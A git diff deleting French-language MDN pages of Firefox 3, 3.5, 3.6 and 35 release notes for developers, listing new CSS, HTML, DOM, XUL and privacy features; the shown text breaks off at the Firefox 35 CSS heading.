Les applications web peuvent à présent utiliser les possibilités de stockage local pour conserver des données sur votre ordinateur. Cela peut servir pour conserver des préférences ou d'autres données plus complexes.
-
- -

Sécurité et vie privée

- -
-
Navigation privée
-
Besoin d'utiliser l'ordinateur de quelqu'un d'autre ? Activez la navigation privée et rien ne sera enregistré concernant votre session, ni cookies, ni historique, ni aucune autre information privée.
-
Meilleurs contrôles sur la vie privée
-
Le panneau de préférences Vie privée a été complètement revu pour disposer d'un meilleur contrôle sur vos informations privées. Les utilisateurs peuvent choisir de conserver ou d'effacer tout ce qui concerne l'historique, les cookies, les téléchargements et les informations de formulaire enregistrées. De plus, il est possible d'indiquer si l'historique et/ou les marque-pages doivent faire partie des suggestions automatiques de la Barre d'adresse, afin d'empêcher des adresses privées d'apparaître par inadvertance en saisissant des informations dans la Barre d'adresse.
-
- -

Performances

- -
-
Du JavaScript plus rapide
-
Le code JavaScript est exécuté nettement plus rapidement dans Firefox 3.5 grâce à son nouveau moteur TraceMonkey. Les applications web sont ainsi beaucoup plus rapides que dans Firefox 3.
-
Rendu plus rapide des pages
-
Le contenu web est affiché plus rapidement dans Firefox 3.5, grâce à des technologies telles que l'« analyse spéculative ». Vos utilisateurs n'ont pas besoin de savoir de quoi il s'agit, simplement que ça rend les choses plus rapides.
-
- -

Voir également

- -

{{Firefox_for_developers('3')}}

diff --git a/files/fr/mozilla/firefox/versions/3.6/index.html b/files/fr/mozilla/firefox/versions/3.6/index.html deleted file mode 100644 index 6e27affe9d..0000000000 --- a/files/fr/mozilla/firefox/versions/3.6/index.html +++ /dev/null @@ -1,297 +0,0 @@ ---- -title: Firefox 3.6 pour les développeurs -slug: Mozilla/Firefox/Versions/3.6 -tags: - - Firefox - - Firefox 3.6 -translation_of: Mozilla/Firefox/Releases/3.6 ---- -

Firefox 3.6 (nom de code Namoroka) est sorti le 21 janvier 2010 et est basé sur Gecko 1.9.2. Cette page fournit des liens vers des articles qui décrivent les nouvelles fonctionnalités de Firefox 3.6.

- -

Pour les développeurs de sites et d'applications Web

- -

CSS

- -
-
Utilisation de dégradés
-
Firefox 3.6 ajoute le support de -moz-linear-gradient et -moz-radial-gradient pour la propriété background.
-
Fonds multiples
-
La propriété background (ainsi que background-attachmentbackground-color, background-image, background-position et background-repeat) peuvent gérer des fonds multiples. Ceux-ci seront affichés par couches, les uns au dessus des autres.
-
Fonctionnalités de médias spécifiques à Mozilla
-
Des fonctionnalités de médias ont été ajoutées pour des mesures spécifiques à Mozilla, afin de pouvoir utiliser des media queries pour vérifier plus aisément la disponibilité de fonctionnalités comme un écran tactile.
-
Redimensionnement d'images de fond
-
La propriété background-size du brouillon CSS 3 Backgrounds and Borders est gérée sous le nom de -moz-background-size.
-
Support des polices WOFF
-
@font-face supporte désormais le format de polices Web téléchargeables WOFF
-
Evènements pointeurs
-
La propriété pointer-events si le contenu d'un élément peut être ou non la cible d'évènements pointeur avec la souris.
-
- -

Autres changements CSS

- -
    -
  • L'unité de longueur rem de CSS3 Values and Units est maintenant supportée. Voir bug 472195.
    • -
  • image-rendering est gérée pour les images, images de fond, vidéos et canvas. Voir bug 423756.
    • -
  • text-align:end est maintenant supportée. Voir bug 299837.
    • -
  • Les changements DOM sur des éléments utilisant les types de display table fonctionnent beaucoup mieux.
    • -
  • Ajout de :-moz-locale-dir(ltr) et :-moz-locale-dir(rtl) pour faciliter la personnalisation de mise en page selon l'orientation de l'interface dépendant de la locale (gauche à droite ou droite à gauche). Voir bug 478416.
    • -
  • Ajout de la pseudo-classe :indeterminate correspondant aux éléments <input> checkbox dont l'attribut indeterminate est true.
    • -
  • Les plugins fenêtrés ne sont plus affichés par la propriété CSS tranforms, car ils ne peuvent pas être correctement tranformés par le compositeur.
    • -
- -

HTML

- -
-
Utilisation de fichiers à partir d'applications Web
-
Le support de la nouvelle API de fichier HTML5 a été ajouté à Gecko, ce qui permet à des applications Web d'accéder à des fichiers locaux sélectionnés par l'utilisateur.
-
Support des affiches pour les vidéos HTML5
-
L'attribut poster est pris en charge pour l'élément <video>, ce qui permet au contenu de choisir une image à afficher tant que la vidéo n'a pas commencée.
-
Support de la propriété indeterminate pour les cases à cocher et boutons radio
-
Les éléments HTML <input> des types checkbox et radio supportent désormais la propriété indeterminate qui permet d'avoir un troisième état « indéterminé ».
-
Contrôle du lissage d'images dans canvas
-
La nouvelle propriété mozImageSmoothingEnabled peut être utilisée pour activer et désactiver le lissage lors d'un redimensionnement dans les éléments <canvas>.
-
Exécution d'un script asynchrone
-
En définissant l'attribut async sur un élément <script>, le script ne bloquera pas le chargement ou l'affichage du reste de la page. En revanche, le script s'exécutera dès qu'il sera téléchargé.
-
- -

JavaScript

- -

Gecko 1.9.2 introduit JavaScript 1.8.2, qui ajoute un certain nombre de fonctionnalités de langage de la norme ECMAScript 5 :

- -
    -
  • Date.parse() peut analyser des dates ISO 8601 au format YYYY-MM-DD (année-mois-jour).
    • -
  • La propriété prototype d'instances de fonctions n'est plus énumérable.
    • -
- -

DOM

- -
-
Terminaison des web workers par eux-mêmes
-
Les web workers prennent désormais en charge la méthode nsIWorkerScope.close(), qui leur permet de se terminer d'eux-mêmes.
-
Glisser-déposer de fichiers
-
L'objet DataTransfer fournit à présent aux observateurs de glisser-déposer une liste des fichiers glissés.
-
Vérification pour voir si un élément correspond à un sélecteur CSS
-
La nouvelle méthode element.mozMatchesSelector permet de déterminer si un élément correspond bien à un sélecteur CSS. Voir bug 518003.
-
Dispositf de détection de l'orientation
-
Le contenu peut à présent détecter l'orientation de l'appareil s'il dispose d'un accéléromètre, à l'aide de l'évènement MozOrientation. Firefox 3.6 gère notamment l'accéléromètre des ordinateurs portables Mac.
-
Détection des changements de largeur et hauteur d'un document
-
Le nouvel évènement MozScrollAreaChanged est déclenché lorsqu'une des propriétés scrollWidth ou scrollHeight d'un document change.
-
- -
    -
  • La méthode getBoxObjectFor() a été supprimée, car elle n'était pas standard et exposait d'autres fonctionnalités non standard. Voir bug 340571. La bibliothèque MooTools qui utilisait cet appel pour la détection de Gecko est affectée ; cela a été corrigé dans la dernière version de MooTools, assurez-vous donc d'être à jour.
    • -
  • Les nouvelles propriétés mozInnerScreenX et mozInnerScreenY sur les objets DOM window on été ajoutés ; ils renvoient les coordonnées à l'écran du coin supérieur gauche de la zone de visualisation de la fenêtre.
    • -
  • La nouvelle propriété mozScreenPixelsPerCSSPixel de nsIDOMWindowUtils uniquement accessible depuis le chrome, fournit un facteur de conversion entre les pixels CSS et les pixels à l'écran ; cette valeur peut varier selon le niveau de zoom du contenu.
    • -
  • Lorsque l'identifiant de fragment de document de l'URL de la page change (la partie après le caractère « # » (dièse)), un nouvel évènement hashchange est envoyé à la page. Consultez window.onhashchange pour plus d'informations. bug 385434
    • -
  • L'attribut document.readyState est désormais supporté. bug 347174
    • -
  • Gestion de l'attribut HTML5 element.classList pour permettre une gestion plus aisée de l'attribut class. bug 501257
    • -
  • localName et namespaceURI dans les documents HTML se comportent à présent comme dans les documents XHTML : localName est renvoyé en minuscules et la propriété namespaceURI pour les éléments HTML est "http://www.w3.org/1999/xhtml".
    • -
  • element.getElementsByTagNameNS son argument n'est plus en minuscules, alors en lettres majuscules ASCII dans l'argument établit des chaînes contre des éléments HTML échouent. Cela est vrai aussi pour document.getElementsByTagNameNS.
    • -
  • Ajout de la gestion des adresses dans la géolocalisation via l'interface nsIDOMGeoPositionAddress et d'un nouveau champ dans nsIDOMGeoPosition.
    • -
  • La fonction window.getComputedStyle renvoie à présent les guillemets autour des valeurs url().
    • -
- -

XPath

- -
-
Gestion de la méthode XPath choose()
-
La méthode choose() est à présent gérée par notre implémentation de XPath.
-
- -

Pour les développeurs XUL et les développeurs d'extensions

- -

Si vous êtes un développeur d'extensions, vous devriez commencer par lire Updating extensions for Firefox 3.6, qui offre une vue d'ensemble sur les changements qui pourraient affecter vos extensions. Les développeurs de Plug-in devraient lire Updating plug-ins for Firefox 3.6.

- -

Nouvelles fonctionnalités

- -
-
Détection de l'orientation de l'appareil
-
Le contenu peut maintenant détecter l'orientation de l'appareil si il possède un accéléromètre, en utilisant l'évènement MozOrientation. Firefox 3.6 supporte l'accéléromètre des ordinateurs portables Mac.
-
Surveillance de l'activité HTTP
-
Vous pouvez maintenant surveiller en temps réel les données HTTP demandées et reçues.
-
Intégration à la Barre des tâches de Windows
-
Il est maintenant possible de personnaliser l'apparence des fenêtres dans la barre des tâches sous Windows 7 ou plus récent. C'est désactivé par défaut dans Firefox 3.6.
-
- -

Places

- - - -

Storage

- -
-
Tri des données locales avec l'API Storage
-
Gecko 1.9.2 ajoute plusieurs nouvelles méthodes pour offrir une collecte (tri) optimisée des résulats en utilisant les techniques de localisation.
-
Énumération des propriétés d'une requête
-
Vous pouvez maintenant utiliser for...in pour énumérer toutes les propriétés d'une déclaration.
-
mozIStorageStatement's getParameterIndex a changé de comportement entre Firefox 3.5 et 3.6.
-
Voir bug 528166 pour plus de détails.
-
Liaison asynchrone de plusieurs ensembles de paramètres pour exécution d'une requête.
-
Voir bug 490085 pour plus de détails.
-
- -

Préférences

- - - -

Thèmes

- -

Voir Updating themes for Firefox 3.6 pour la liste des changements liés aux thèmes.

- -
-
Thèmes légers
-
Firefox 3.6 supporte les thèmes légers ; ce sont des thèmes faciles à créer et qui sont simplement appliqué sur le fond de la fenêtre du navigateur, en haut (barre d'adresses et boutons) et en bas (barre d'état). Il s'agit d'une intégration de l'architecture de thèmes Personas dans Firefox.
-
- -

Divers

- -
    -
  • Firefox n'a plus la charge des modules tiers installé dans son répertoire des modules internes. Cela contribue à assurer la stabilité en empêchant des composants tiers buggés d'être exécuté. Les développeurs qui installent des composants de cette façon doivent refaire leurs modules sous forme de paquets XPI afin qu'ils puissent être installés normalement.
    • -
  • contents.rdf n'est plus pris en charge pour l'enregistrement chrome dans les extensions. Vous devez maintenant utiliser le fichier chrome.manifest. Voir bug 492008.
    • -
  • La barre de menu peut être cachée automatiquement. Voir bug 477256.
    • -
  • Ajout du support de l'attribut container-live-role aux objets. Voir bug 391829.
    • -
  • Suppression de la liaison tabs-closebutton. Voir bug 500971.
    • -
  • Ajout du support de nsISound pour jouer des sons en fonction des évènements qui ont eu lieu. Voir bug 502799.
    • -
  • La syntaxe pour les méthodes de nsITreeView : nsITreeView.canDrop() et nsITreeView.drop(), a changé pour supporter la nouvelle API glisser & déposer introduite dans Gecko 1.9. Voir bug 455590.
    • -
  • Ajout du support pour aligner le curseur de la souris sur le bouton par défaut de la boîte de dialogue ou l'assistant de Windows, voir bug 76053. Cela est traitée automatiquement par la boîte de dialogue et l'assistant. Mais si une application XUL crée une fenêtre en utilisant l'élément window et qu'il a un bouton par défaut, il doit appeler nsIDOMChromeWindow.notifyDefaultButtonLoaded() dans le gestionnaire d'événements onload de la fenêtre.
    • -
  • Pour l'interface nsILocalFileMac, deux méthodes ont étés retirées : setFileTypeAndCreatorFromMIMEType() and setFileTypeAndCreatorFromExtension().
    • -
  • Le nouveau module de code NetUtils.jsm apporte une méthode facile à utiliser pour copier les données de manière asynchrone à partir d'un flux d'entrée vers un flux de sortie.
    • -
  • Le nouveau module de code openLocationLastURL.jsm, facilite la lecture et la modification de la valeur de l'URL gardée en mémoire de la boîte de dialogue "Ouvrir le fichier", tout en prenant bien en compte le mode de navigation privée.
    • -
  • Dans Windows, l'interface nsIScreen reporte maintenant 24 bits par pixel pour la profondeur des couleurs lorsque le pilote graphique demande 32 bits, plus précisement 24 représente le nombre réel de pixels de couleurs en utilisation.
    • -
  • Les barres de menu peuvent maintenant être cachées sous Windows, en utilisant le nouvel attribut autohide sur l'élément XUL toolbar.
    • -
  • Les méthodes loadOneTab et addTab acceptent maintenant le nouveau paramètre relatedToCurrent et, en outre, permet à des paramètres d'être définit par un nom, puisque presque tous les paramètres sont optionnels.
    • -
  • La propriété "hidden" n'est plus supportée dans les manisfestes d'installation ; il n'est plus possible d'empêcher l'utilisateur de voir des modules complémentaires dans la fenêtre du gestionnaire de module.
    • -
  • Le composant @mozilla.org/webshell;1 n'existe plus ; vous devez utilisez @mozilla.org/docshell;1 à la place.
    • -
  • Vous pouvez désormais enregistrer avec la catégorie update-timer pour programmer la synchronisation des événements sans avoir à instancier l'objet que le minuteur va éventuellement remettre, il sera plutôt instancié lorsque c'est nécessaire. Voir nsIUpdateTimerManager.registerTimer() pour plus de détails.
    • -
  • La fonction NPN_GetValue ne donne plus accès à travers XPCOM aux valeurs de variables NPNVserviceManager, NPNVDOMelement, et NPNVDOMWindow. Cela fait partie des travaux pour que les plugins s'exécutent dans des processus séparés dans une future version de Gecko.
    • -
  • Les plugins ne sont plus scriptables à travers l'interface XPCOM (IDL), NPRuntime est l'API à utiliser pour coder des plugins et NPP_GetValue() n'est plus appelé avec la valeur NPPVpluginScriptableInstance ou NPPVpluginScriptableIID. Cela fait partie des travaux pour que les plugins s'exécutent dans des processus séparés dans une future version de Gecko.
    • -
- -

Pours les développeurs de Firefox/Gecko

- -

Certains changements sont vraiment intéressant si vous travaillez sur le fonctionnement interne de Firefox.

- -

Interfaces fusionnées

- -

Les interfaces suivantes ont été fusionnées :

- -
    -
  • nsIPluginTagInfo2 a été fusionnée avec nsIPluginTagInfo.
    • -
  • nsIPluginInstanceInternal, nsIPPluginInstancePeer, nsIPluginInstancePeer1, nsIPluginInstancePeer2 et nsIPluginInstancePeer3 ont toutes été fusionnées avec nsIPluginInstance.
    • -
  • nsIWindowlessPlugInstPeer a été fusionnée avec nsIPluginInstance.
    • -
  • nsIPluginManager et nsIPluginManager2 ont été fusionnées avec nsIPluginHost
    • -
- -

Interfaces supprimées

- -

Les interfaces suivantes ont été entièrement supprimées car elles étaient inutilisées, non implémentées ou obsolètes :

- -
    -
  • nsIFullScreen
    • -
  • nsIDOMSVGListener
    • -
  • nsIDOMSVGZoomListener
    • -
  • nsIInternetConfigService
    • -
  • nsIDKey
    • -
  • nsIEventHandler
    • -
  • nsIJRILiveConnectPIPeer
    • -
  • nsIJRILiveConnectPlugin
    • -
  • nsIScriptablePlugin
    • -
  • nsIClassicPluginFactory
    • -
  • nsIFileUtilities
    • -
- -

Interfaces déplacées

- -

Les interfaces suivantes ont été déplacées de leurs précédents fichiers IDL vers leurs nouveaux :

- -
    -
  • nsIDOMNSCSS2Properties est maintenant située dans son propre fichier IDL (dom/interfaces/css/nsIDOMCSS2Properties.idl).
    • -
  • nsIUpdateTimerManager est maintenant située dans son propre fichier IDL.
    • -
- -

Un grand nombre d'interfaces ont été déplacées. Voir Interfaces moved in Firefox 3.6 pour la liste complète.

- -

Autres changements dans les interfaces

- -

Les modifications suivantes ont été faites :

- -
    -
  • L'interface nsIPlugin hérite maintenant de nsISupports à la place de nsIFactory.
    • -
  • L'interface nsIPluginHost hérite maintenant de nsISupports à la place de nsIFactory.
    • -
  • L'interface nsIFrame hérite maintenant de nsQueryFrame à la place de nsISupports.
    • -
  • La méthode getPaletteInfo() de nsIDeviceContext a été supprimée, car elle n'a jamais été appliquée.
    • -
  • La méthode reportPendingException() de nsIScriptContext a été supprimée, car elle n'été plus utilisée.
    • -
- -

Changements dans l'accessibilitée du code

- -
    -
  • L'évènement d'accessibilité EVENT_REORDER est maintenant envoyé quand les enfants de frames et d'iframes changent, ainsi que lors de la modification du document principal des enfants. Voir bug 420845.
    • -
  • Désormais toute sélection en cours est correctement supprimée avant de sélectionner une ligne spécifique.
    • -
- -

Voir également

- -
- -
diff --git a/files/fr/mozilla/firefox/versions/3/index.html b/files/fr/mozilla/firefox/versions/3/index.html deleted file mode 100644 index 79519fa181..0000000000 --- a/files/fr/mozilla/firefox/versions/3/index.html +++ /dev/null @@ -1,272 +0,0 @@ ---- -title: Firefox 3 pour les développeurs -slug: Mozilla/Firefox/Versions/3 -tags: - - Firefox - - Firefox 3 -translation_of: Mozilla/Firefox/Releases/3 ---- -
{{FirefoxSidebar}}

Pour les développeurs qui désirent prendre connaissance de toutes les nouvelles fonctionnalités de Firefox 3, c'est ici qu'il convient de commencer. Cet article fournit la liste des nouveaux articles couvrant les fonctionnalités qui ont été ajoutées à Firefox 3. Même s'il ne couvre pas nécessairement chaque petite modification, il vous aidera à découvrir les améliorations majeures.

- -

Nouvelles fonctionnalités pour les développeurs dans Firefox 3

- -

Pour les développeurs de sites et d'applications Web

- -
-
Mise à jour des applications Web pour Firefox 3
-
Fournit des informations concernant les changements que vous devrez éventuellement prendre en compte pour permettre à votre site ou application Web de profiter des nouvelles fonctionnalités de Firefox 3.
-
- -
-
Évènements online et offline
-
Firefox 3 gère les évènements online et offline définis par le WHATWG, qui permettent aux applications et extensions de détecter si une connexion Internet active est disponible, ainsi que de détecter l'activation et la désactivation de la connexion.
-
- -
-
Gestionnaires de protocoles web
-
Il est à présent possible d'enregistrer des applications Web en tant que gestionnaires de protocoles à l'aide de la méthode navigator.registerProtocolHandler().
-
- -
-
Dessin de texte avec canvas
-
Il est possible de dessiner du texte dans un élément canvas dans Firefox 3 avec une API non normalisée.
-
- -
-
Support des transformations pour canvas
-
Firefox gère à présent les méthodes transform() et setTransform() sur les éléments canvas.
-
- -
-
Utilisation de microformats
-
Firefox dispose à présent d'API permettant de travailler avec des microformats.
-
- -
-
Évènements de glisser-déposer
-
Firefox 3 gère de nouveaux évènements envoyés au nœud source d'une opération de glisser-déposer lorsque le glisser débute et se termine.
-
- -
-
Gestion du focus en HTML
-
Les nouveaux attributs activeElement et hasFocus de HTML 5 sont gérés.
-
- -
-
Ressources hors ligne dans Firefox
-
Firefox permet applications Web de demander que des ressources soient mises en cache pour permettre leur utilisation en mode hors ligne.
-
- -
-
Améliorations CSS dans Firefox 3
-
Firefox 3 propose un certain nombre d'améliorations dans son support CSS.
-
- -
-
Améliorations DOM dans Firefox 3
-
Firefox 3 propose un certain nombre de nouvelles fonctionnalités dans son implémentation DOM, comme la gestion de plusieurs extensions d'Internet Explorer au DOM.
-
- -
-
Support de JavaScript 1.8
-
JavaScript 1.8 est fourni avec Firefox 3.
-
- -
-
Support d'EXSLT
-
Firefox 3 permet d'utiliser une partie importante des extensions EXSLT à XSLT.
-
- -
-
Améliorations SVG dans Firefox 3
-
La gestion du SVG dans Firefox 3 a été mise à jour de manière substantielle, avec plus d'une vingtaine de nouveaux filtres, plusieurs nouveaux éléments et attributs, et quelques autres améliorations.
-
- -
-
Images PNG animées
-
Firefox 3 gère le format d'images PNG animées (APNG).
-
- -

Pour les développeurs XUL et d'extensions

- -

Améliorations et modifications notables

- -
-
Mise à jour des extensions pour Firefox 3
-
Un guide fournissant tout ce qu'il faut savoir pour mettre à jour une extension afin de la faire fonctionner avec Firefox 3.
-
- -
-
Améliorations XUL dans Firefox 3
-
Firefox 3 offre un certain nombre de nouveaux éléments XUL, dont de nouvelles échelles coulissantes, des sélecteurs de date et d'heure, et des boîtes d'incrément (spin buttons).
-
- -
-
Templates dans Firefox 3
-
Les templates ont été notablement améliorés dans Firefox 3. Le plus remarquable est la possibilité d'utiliser des processeur de requêtes personnalisés permettant d'utiliser d'autres sources de données que RDF.
-
- -
-
Mises à jour sécurisées
-
Afin que le processus de mise à jour soit plus sûr pour les utilisateurs, les modules complémentaires doivent à présent fournir une méthode sécurisée de distribution des mises à jour avant de pouvoir être installés. Les modules hébergés sur AMO fournissent ceci automatiquement. Tout module installé ne fournissant pas une méthode de mise à jour sécurisée lorsque l'utilisateur migrera vers Firefox 3 sera désactivé automatiquement. Firefox continuera cependant à vérifier si des mises à jour sont disponibles au travers du chemin non sécurisé et essayera d'installer toute mise à jour proposée (l'installation échouera si la mise à jour ne propose pas non plus de méthode de mise à jour sécurisée).
-
- -
-
Guide de migration vers Places
-
Un article concernant la migration d'une application existante pour utiliser l'API Places.
-
- -
-
Améliorations du gestionnaire de téléchargement dans Firefox 3
-
Le gestionnaire de téléchargement de Firefox 3 comprend de nouvelles API et d'autres améliorations, comme la gestion de plusieurs écouteurs de progression.
-
- -
-
Utilisation de nsILoginManager
-
Le gestionnaire de mots de passe a été remplacé par le nouveau gestionnaire d'identification.
-
- -
-
Intégration de liaisons XBL
-
Il est à présent possible d'utiliser le schéma d'URL data: depuis du code chrome pour intégrer des liaisons XBL directement au lieu de devoir les placer dans des fichiers XML séparés.
-
- -
-
Localisation des descriptions d'extensions
-
Firefox 3 propose une nouvelle méthode de localisation des métadonnées des modules complémentaires. Ceci permet de disposer des détails localisés dès le téléchargement du module, et même s'il est désactivé.
-
- -
-
Localisation et pluriels
-
Firefox 3 ajout un nouveau module PluralForm fournissant des outils pour aider à mettre des mots correctement au pluriel dans diverses localisations.
-
- -
-
Changements dans les thèmes pour Firefox 3
-
Notes et informations pour ceux qui voudraient créer des thèmes pour Firefox 3.
-
- -

Nouveaux composants et fonctionnalités

- -
-
Bibliothèque FUEL
-
FUEL sert à améliorer la productivité des développeurs d'extensions en minimisant certaines des formalités XPCOM et en ajoutant certaines idées « modernes » de JavaScript.
-
- -
-
Places
-
Les API d'historique et de marque-pages ont été entièrement remplacés par la nouvelle API Places.
-
- -
-
Service Idle
-
Firefox 3 propose une nouvelle interface {{ Interface("nsIIdleService") }} qui permet aux extensions de savoir depuis quand l'utilisateur n'a plus appuyé sur une touche ou déplacé la souris.
-
- -
-
ZIP writer
-
La nouvelle interface {{ Interface("nsIZipWriter") }} permet aux extensions de pouvoir créer des archives ZIP.
-
- -
-
Zoom pleine page
-
Firefox 3 améliore l'expérience utilisateur en offrant un zoom complet des pages en plus du simple zoom de texte.
-
- -
-
Interfaçage avec le collecteur de cycles XPCOM
-
XPCOM peut à présent bénéficier du collecteur de cycles, qui permet de s'assurer que la mémoire inutilisée est libérée et d'éviter les fuites mémoire.
-
- -
-
Le gestionnaire de threads
-
Firefox 3 propose une nouvelle interface {{ Interface("nsIThreadManager") }}, accompagnée de nouvelles interfaces pour les threads et les évènements liés, qui offre une manière pratique de créer et gérer des threads dans votre code.
-
- -
-
Modules JavaScript
-
Firefox 3 offre un mécanisme de modules de code partagés permettant de créer facilement des modules en JavaScript qui pourront être chargés par des extensions et applications, de manière similaire à des bibliothèques partagées.
-
- -
-
L'interface nsIJSON
-
Firefox 3 propose la nouvelle interface {{ Interface("nsIJSON") }}, qui offre des chaînes de caractères JSON de codage et décodage en haute performance.
-
- -
-
L'interface nsIParentalControlsService
-
Firefox 3 gère à présent la fonctionnalité de contrôle parental de Microsoft Windows Vista, et permet au code d'interagir directement avec elle.
-
- -
-
Utilisation des préférences de contenu
-
Firefox 3 fournit un nouveau service permettant de définir et de lire des préférences particulières à un site, que des extensions ou le programme peuvent utiliser pour conserver des informations sur les préférences de l'utilisateur concernant certains sites.
-
- -
-
Surveillance des plugins
-
Un nouveau composant du système de plugins est à présent disponible pour mesurer le temps mis par les plugins (par exemple Macromedia Flash) pour exécuter leurs appels.
-
- -

Bugs corrigés

- -
-
Bugs importants corrigés dans Firefox 3
-
Cet article fournit des informations concernant les bugs corrigés dans Firefox 3.
-
- -

Nouvelles fonctionnalités pour les utilisateurs

- -

Expérience utilisateur

- -
    -
  • Gestion simplifiée des mots de passe. Une barre d'information apparaît en haut de la fenêtre du navigateur pour permettre d'enregistrer le mot de passe après une identification réussie.
    • -
  • Installation de modules simplifiée. Il est à présent possible d'installer des extensions depuis des sites tiers en un nombre réduit de clics, grâce au retrait de la liste blanche des sites de téléchargement de modules.
    • -
  • Nouveau gestionnaire de téléchargement. Le gestionnaire de téléchargement permet de retrouver plus facilement vos fichiers téléchargés.
    • -
  • Reprise des téléchargements. Il est à présent possible de reprendre des téléchargements après le redémarrage du navigateur ou la réinitialisation de votre connexion au réseau.
    • -
  • Zoom pleine page. Depuis le menu Affichage et à l'aide de raccourcis clavier, il est à présent possible d'agrandir et de réduire le contenu de pages entières — il ne s'agit plus simplement du texte mais également de la mise en page et des images.
    • -
  • Défilement des onglets et menu rapide. Les onglets sont plus faciles à identifier avec le nouveau défilement des onglets et leur menu rapide.
    • -
  • Enregistrement de votre session. Firefox 3 vous demande si vous désirez enregistrer vos onglets ouverts lorsque vous quittez Firefox.
    • -
  • Comportement d'ouverture dans des onglets optimisé. L'ouverture d'un dossier de marque-pages dans des onglets ajoute une série de nouveaux onglets au lieu de remplacer les onglets existants.
    • -
  • Barres d'adresse et de recherche plus faciles à redimensionner. Il est à présent aisé de redimensionner les barres d'adresse et de recherche grâce à une poignée de redimensionnement située entre les deux.
    • -
  • Améliorations dans la sélection de texte. Il est à présent possible de sélectionner plusieurs sections de texte à l'aide de la touche Ctrl (Command sur Macintosh). Un double clic avec déplacement sélectionne en mode « mot à mot ». Un triple clic sélectionne tout le paragraphe.
    • -
  • Barre de recherche. La barre de recherche dans la page s'ouvre avec le contenu de la sélection courante.
    • -
  • Gestion des plugins. Les utilisateurs peuvent désactiver des plugins particuliers dans le gestionnaire de modules complémentaires.
    • -
  • Intégration dans Windows Vista. Les menus de Firefox s'affichent à présent avec le thème natif de Vista.
    • -
  • Intégration dans Mac OS X. Firefox utilise le correcteur orthographique de Mac OS X et gère Growl pour les notifications de téléchargements terminés et de mises à jour disponibles.
    • -
  • Bouton « Star ». Le nouveau bouton en forme d'étoile dans la Barre d'adresse permet d'ajouter rapidement un marque-page en un clic. Un second clic permet de ranger et de mettre des étiquettes sur le nouveau marque-page.
    • -
  • Étiquettes. Vous pouvez associer des étiquettes à vos marque-pages pour les trier facilement par sujet.
    • -
  • Barre d'adresse et autocomplétion. Entrez le titre ou l'étiquette d'une page dans la Barre d'adresse pour retrouver rapidement le site que vous cherchez dans votre historique et vos marque-pages. Des indicateurs reprenant l'icône du site, le marque-page et les étiquettes associés vous aident à savoir d'où viennent les résultats.
    • -
  • Dossier de marque-pages intelligent. Le nouveau Classeur de Firefox permet d'accéder rapidement à vous pages récemment marquées et étiquetées, ainsi qu'aux pages que vous visitez fréquemment.
    • -
  • Organiseur de marque-pages et d'historique. La nouvelle gestion unifiée des marque-pages et de l'historique vous permet d'y effectuer rapidement des recherches avec des vues multiples et des dossier dynamiques permettant de conserver vos recherches les plus fréquentes.
    • -
  • Gestionnaire de protocoles Web. Des applications Web, comme les webmails, peuvent à présent être utilisées comme des applications de bureau pour gérer les liens mailto: venant d'autres sites. Une gestion similaire est fournie pour d'autres protocoles. (Notez que les applications Web doivent s'enregistrer elles-mêmes dans Firefox avant que cela fonctionne.)
    • -
  • Actions de téléchargement faciles à utiliser. Un nouveau panneau de préférences d'applications fournit une interface améliorée pour la configuration de gestionnaires pour différents types de fichiers et de protocoles.
    • -
  • Apparence visuelle améliorée. La gestion des images et des polices a été améliorée pour permettre aux sites d'être mieux rendus sur votre écran, avec un rendu des polices plus précis et une meilleure gestion des polices avec des ligatures et des écritures complexes. En outre, les utilisateurs de Mac et Linux (Gnome) remarqueront que Firefox se comporte plus que jamais comme une application native sur leur plateforme, avec une nouvelle apparence.
    • -
  • Gestion des couleurs. En définissant la préférence gfx.color_management.enabled dans {{ mediawiki.external('about:config') }}, vous pouvez demander à Firefox d'utiliser les profils de couleur intégrés dans les images afin d'ajuster la représentation des couleurs à votre écran d'affichage.
    • -
  • Fonctionnement hors ligne. Les applications Web peuvent bénéficier de nouvelles fonctionnalités leur permettant d'être utilisées même sans connexion Internet active.
    • -
- -

Sécurité et vie privée

- -
    -
  • Informations sur un site en un clic. Vous voulez en savoir plus sur le site affiché ? Cliquez sur son icône dans la Barre d'adresse pour en connaître le propriétaire. Les informations d'identité sont affichées plus clairement et plus faciles à comprendre.
    • -
  • Protection contre les logiciels malveillants. Firefox 3 vous avertit si vous vous rendez sur un site connu pour installer des virus, spywares, troyens ou d'autres logiciels dangereux. Vous pouvez voir à quoi cet avertissement ressemble en visitant cette page.
    • -
  • Protection contre les sites contrefaits améliorée. Lorsque vous visitez une page suspectée d'être une contrefaçon, une page spéciale s'affiche au lieu du contenu de la page avec un avertissement. Visitez cette page pour voir à quoi elle ressemble.
    • -
  • Erreurs SSL plus faciles à comprendre. Les erreurs présentées lorsqu'un certificat SSL invalide est rencontré ont été clarifiées pour qu'il soit plus facile de comprendre la nature du problème.
    • -
  • Protection contre les modules non à jour. Firefox 3 vérifie automatiquement les versions des modules et plugins et désactive les versions anciennes et non sûres.
    • -
  • Mise à jour sécurisée des modules. La sécurité des mises à jour des modules a été améliorée en désactivant ceux qui ne fournissent pas un mécanisme de mise à jour sécurisé.
    • -
  • Intégration des antivirus. Firefox 3 informe les logiciels antivirus lorsque des fichiers exécutables ont été téléchargés.
    • -
  • Gestion du contrôle parental de Windows Vista. Firefox 3 prend en compte le paramètre système de contrôle parentale de Vista pour désactiver les téléchargements de fichiers.
    • -
- -

Performances

- -
    -
  • Fiabilité. Firefox 3 conserve à présent les marque-pages, l'historique, les cookies et les préférences dans une base de données sûre au niveau transactionnel. Cela signifie que vos données sont protégés contre la perte même si votre système se plante.
    • -
  • Vitesse. Firefox 3 dispose d'une amélioration des performances grâce au remplacement de la partie s'occupant de l'affichage à l'écran, ainsi que la gestion de la disposition du contenu.
    • -
  • Utilisation mémoire. Firefox 3 utilise la mémoire de manière plus efficiente avec plus de 300 bugs concernant des fuites mémoire corrigées et de nouvelles fonctionnalités aidant à identifier et libérer automatiquement les blocs mémoire qui ne sont plus utilisés.
    • -
- -

Voir également

- -

{{Firefox_for_developers('2')}}

diff --git a/files/fr/mozilla/firefox/versions/35/index.html b/files/fr/mozilla/firefox/versions/35/index.html deleted file mode 100644 index 12ed5c06b2..0000000000 --- a/files/fr/mozilla/firefox/versions/35/index.html +++ /dev/null @@ -1,197 +0,0 @@ ---- -title: Firefox 35 pour les développeurs -slug: Mozilla/Firefox/Versions/35 -tags: - - Firefox - - Guide - - Mozilla -translation_of: Mozilla/Firefox/Releases/35 ---- -

Changement concernant les développeurs

- -

Outils de développement

- -

Liens:

- - - -

Tous les bugs des outils de développement résolus entre Firefox 34 et Firefox 35.

- -

CSS

